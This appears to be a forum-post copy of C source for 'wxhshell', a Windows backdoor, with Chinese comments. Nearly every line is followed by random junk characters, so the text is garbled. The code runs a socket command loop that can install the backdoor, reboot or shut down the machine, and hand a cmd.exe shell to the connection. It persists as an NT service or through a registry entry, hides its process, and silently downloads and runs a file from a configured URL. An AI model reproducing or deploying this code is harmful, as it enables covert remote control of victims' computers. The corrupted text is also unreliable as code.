    switch(cmd[0]) { +?5nkhH  
  6+b!|`?l+  
  // 帮助 ?lKFcm  
  case '?': { U;<07 aMj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3WZ]9v{k  
    break; EJ;:O1,6H  
  } 5`53lK.C  
  // 安装 X-|Lg.s  
  case 'i': { <Td4 o&JR  
    if(Install()) Wf^6:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $vnshU8/v  
    else 3R1v0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cu3^de@h  
    break; GS_'&Yj  
    } 3K c  
  // 卸载 d/vF^v*o0X  
  case 'r': { =B@owx  
    if(Uninstall()) k_ 9gMO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +@ga  
    else eGwrSF#a)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ak 94"<p  
    break; Xp"ZK=r  
    } <t>"b|fW  
  // 显示 wxhshell 所在路径 MDGD*Qn~  
  case 'p': { PJA%aRP,:  
    char svExeFile[MAX_PATH]; "q5Tw+KCfu  
    strcpy(svExeFile,"\n\r"); WI/&r5rq   
      strcat(svExeFile,ExeFile);  i1v0J->  
        send(wsh,svExeFile,strlen(svExeFile),0); Nb~.6bsL  
    break; oswS<t{Z  
    } I?}YS-2  
  // 重启 V`sINX  
  case 'b': { ;^za/h>r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M >#kfSF+  
    if(Boot(REBOOT)) X-%XZD B6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e~w-v"'  
    else { qN% i$mJTo  
    closesocket(wsh); A0Pg|M  
    ExitThread(0); tu8n1W  
    } &i179Qg!  
    break; \_;z m+ <{  
    } &,/_"N"?D  
  // 关机 #!(OTe L  
  case 'd': { 6}zargu(;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,) ^4H>~V  
    if(Boot(SHUTDOWN)) OBp<A+a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BO)K=gl;8  
    else { :Lu=t3#  
    closesocket(wsh); W9nmTz\8  
    ExitThread(0); LxaR1E(Cc'  
    } qOAK`{b  
    break; Qxr&zT7f  
    } #\U;,r  
  // 获取shell w7aC=B/{?i  
  case 's': { <2@V$$Qg.~  
    CmdShell(wsh); < 3i2(k  
    closesocket(wsh); ;/T=ctIs  
    ExitThread(0); N) D;)ZH  
    break; n\Y{ ?x  
  } r!A1Sfo4P  
  // 退出 ^GMM%   
  case 'x': { `IL''eJug_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \@8j&],dl  
    CloseIt(wsh); 8D7 = ]  
    break; Y|$3%t  
    } Q'xZ\t  
  // 离开 *F7ksLH|q  
  case 'q': { AG/?LPJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OE_;i}58  
    closesocket(wsh); |t](4  
    WSACleanup(); /sVy"48-  
    exit(1); 1 XsB  
    break; 1Z-f@PoM  
        } E{+V_.tlu  
  } Qv=F'  
  } N6yPuH  
do0;"O0 (  
  // 提示信息 5H8]N#Y&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yv1Z*wTpO  
} MD`1KC_m  
  } uXD?s3Wv  
GR6BpV7  
  return; t<~$?tuZ  
} h^QicvZ  
 zE$KU$  
// shell模块句柄 VE3,k'^v  
int CmdShell(SOCKET sock) :rr;9nMR[  
{ )"SP >2}  
STARTUPINFO si; V}de|=  
ZeroMemory(&si,sizeof(si)); 5>{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mhTi{t_fHM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .[YM0dt  
PROCESS_INFORMATION ProcessInfo; .KH3.v/c|  
char cmdline[]="cmd"; (`%$Aa9J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c!#DD;<Q  
  return 0; rfj>/?8!@  
} lxsBXXZg  
mFoE2?Y  
// 自身启动模式 =^  
int StartFromService(void) OX|nYTp  
{ L O)&|9xw  
typedef struct <i}lP/U  
{ ?&v+-4%4PI  
  DWORD ExitStatus; 0V:7pSC{P  
  DWORD PebBaseAddress; F/1B>2$`  
  DWORD AffinityMask; J~dk4D\  
  DWORD BasePriority; zg)-RCG  
  ULONG UniqueProcessId; 7ip$#pzo  
  ULONG InheritedFromUniqueProcessId; Qy!*U%tG'  
}   PROCESS_BASIC_INFORMATION; yc ize2>q  
^B)iBf Z  
PROCNTQSIP NtQueryInformationProcess; .8[Uk^q  
/q.iUwSK>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q0* e1QL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eAvOT$  
ey4RKk,  
  HANDLE             hProcess; jN. '%5Q?H  
  PROCESS_BASIC_INFORMATION pbi; Qv~KGd9  
Q#+y}pOLP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _; 7{1n  
  if(NULL == hInst ) return 0; Ih_2")d  
ib$_x:OO"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lN@SfM4\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;fg8,(SM^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8#?jYhT7  
+OGa}9j-  
  if (!NtQueryInformationProcess) return 0; rK^Sn7U  
5!GL"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fyb:eO}  
  if(!hProcess) return 0; 1D@'uApi.  
fcDiYJC*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j A/xe  
(A@~]N ,U/  
  CloseHandle(hProcess); Z+# =]Kw)  
^Bkwbj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <K6:"  
if(hProcess==NULL) return 0; S(bYN[U  
RZKdh}B?\  
HMODULE hMod; A}./ ;[  
char procName[255]; e15_$M;RW  
unsigned long cbNeeded; .rfKItd  
Z %?: CA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >b6!*Lrhs  
m*'^*#  
  CloseHandle(hProcess); "YW&,X5R  
A:{PPjs%LA  
if(strstr(procName,"services")) return 1; // 以服务启动 +@n8DM{b  
P;B<R"  
  return 0; // 注册表启动 J`uO~W"  
}  _tl  
6I5,PB  
// 主模块 H83Gx;  
int StartWxhshell(LPSTR lpCmdLine) *OoM[wEY  
{ v$H=~m  
  SOCKET wsl; >%x N?%  
BOOL val=TRUE; 2.xA' \M  
  int port=0; nu'r `  
  struct sockaddr_in door; 1=R6||8ws  
CJn{tP  
  if(wscfg.ws_autoins) Install(); G6l:El&  
*<.{sx^Gk  
port=atoi(lpCmdLine); C2$_Ad=s  
ihv=y\Jt  
if(port<=0) port=wscfg.ws_port; ly!vbpE_  
]VuB2L[D  
  WSADATA data; ao+lLCr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !&8nwOG  
Q~p)@[q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   25:[VH$:4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G[;GP0\N  
  door.sin_family = AF_INET; x%J4A+kU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tBJCfM  
  door.sin_port = htons(port); H8$l }pOz  
U- b(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PT t#Ixn,  
closesocket(wsl); @e`%'  
return 1; r4X0. mPY*  
} *y6zwe !M  
S-^:p5{r  
  if(listen(wsl,2) == INVALID_SOCKET) { q:}Q5gzZ  
closesocket(wsl); DQ#rZi3I  
return 1; H<Ne\zAv  
} q?&Ap*  
  Wxhshell(wsl); 3e)W_P*0?  
  WSACleanup(); t[dOWgHi  
XBvJc'(s  
return 0; +-s$Htx  
eUY/H1  
} { :^;byd  
-k4w$0)  
// 以NT服务方式启动 R]LRgfi9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ][gr(-68  
{ ,b b/ $   
DWORD   status = 0; N9 SC\  
  DWORD   specificError = 0xfffffff; 6}(; ~/L  
x6h';W_ 8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lo<-;;vQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vZ&{   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w<qn@f  
  serviceStatus.dwWin32ExitCode     = 0; [Dzd39aKr  
  serviceStatus.dwServiceSpecificExitCode = 0; t\\oG H  
  serviceStatus.dwCheckPoint       = 0; [WfigqY`b*  
  serviceStatus.dwWaitHint       = 0; K@RE-K6{  
'<$!?="  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z(o zMH  
  if (hServiceStatusHandle==0) return; @zQ.d{  
x>C_O\  
status = GetLastError(); g-4m.;  
  if (status!=NO_ERROR) yA+ NRWWj  
{ 88]4 GVi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ekR/X  
    serviceStatus.dwCheckPoint       = 0; r bfIH":  
    serviceStatus.dwWaitHint       = 0; cs-wqxTX[$  
    serviceStatus.dwWin32ExitCode     = status; ?W27 h  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 |se]~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |H .  
    return; kWSei3  
  } o0Z~9iF&  
ep,"@,,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C>MEgGP  
  serviceStatus.dwCheckPoint       = 0; dcn/|"jr  
  serviceStatus.dwWaitHint       = 0; Ifx EM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g"KH~bN  
} ]"wl*$N  
8@)4)+e  
// 处理NT服务事件,比如:启动、停止 5s7C;+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z1AYXW6F  
{ Qm(KvL5  
switch(fdwControl) G`D~OI  
{ 9%^IMUWA  
case SERVICE_CONTROL_STOP: ji&%'h  
  serviceStatus.dwWin32ExitCode = 0; ~;QzV?%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q{c/TRp7  
  serviceStatus.dwCheckPoint   = 0; }hm "49,O  
  serviceStatus.dwWaitHint     = 0; X2 PyFe  
  { +";<Kd-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mw!EDJ;'  
  } c}-WK*v  
  return; Eq YBT  
case SERVICE_CONTROL_PAUSE: Z=I+_p_G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jYxmU8  
  break; B-.QGf8K.  
case SERVICE_CONTROL_CONTINUE: +YX *.dW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xY=%+o.?*  
  break; LQo>wl  
case SERVICE_CONTROL_INTERROGATE: xQ]^wT.Q  
  break; I'%\ E,  
}; #}lq2!f6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lQ{o[axT  
} &tjv.t  
4b@ Awtk  
// 标准应用程序主函数 O:J;zv\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'CfM'f3uu  
{ `pJWZ:3  
B/^1uPTZ71  
// 获取操作系统版本 N t-8[J  
OsIsNt=GetOsVer(); !l7D1i~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -*nd5(lY&  
`,7;2ZG~O  
  // 从命令行安装 vNn$dc  
  if(strpbrk(lpCmdLine,"iI")) Install(); D|gI3i  
g,O3\jjQ  
  // 下载执行文件 jTh^#Q  
if(wscfg.ws_downexe) { I;5:jT`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C]f`  
  WinExec(wscfg.ws_filenam,SW_HIDE); |'SgGg=E  
} SO#R5Mu2N  
R)Y*<Na  
if(!OsIsNt) { :9.QhY)D  
// 如果时win9x,隐藏进程并且设置为注册表启动 v K7J;U+cJ  
HideProc(); scZSnCrR  
StartWxhshell(lpCmdLine); |%tI!RN):  
} SmMJ%lgA6  
else 7,!$lT#  
  if(StartFromService()) x3C^S~  
  // 以服务方式启动 |EpL~ G_  
  StartServiceCtrlDispatcher(DispatchTable); V.?Oly  
else m`lxQik  
  // 普通方式启动 :dML+R#Ymh  
  StartWxhshell(lpCmdLine); rP<S =eb  
TPi=!*$&  
return 0; -udKGrT+  
}
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只看该作者 1 发表于: 2006-10-10
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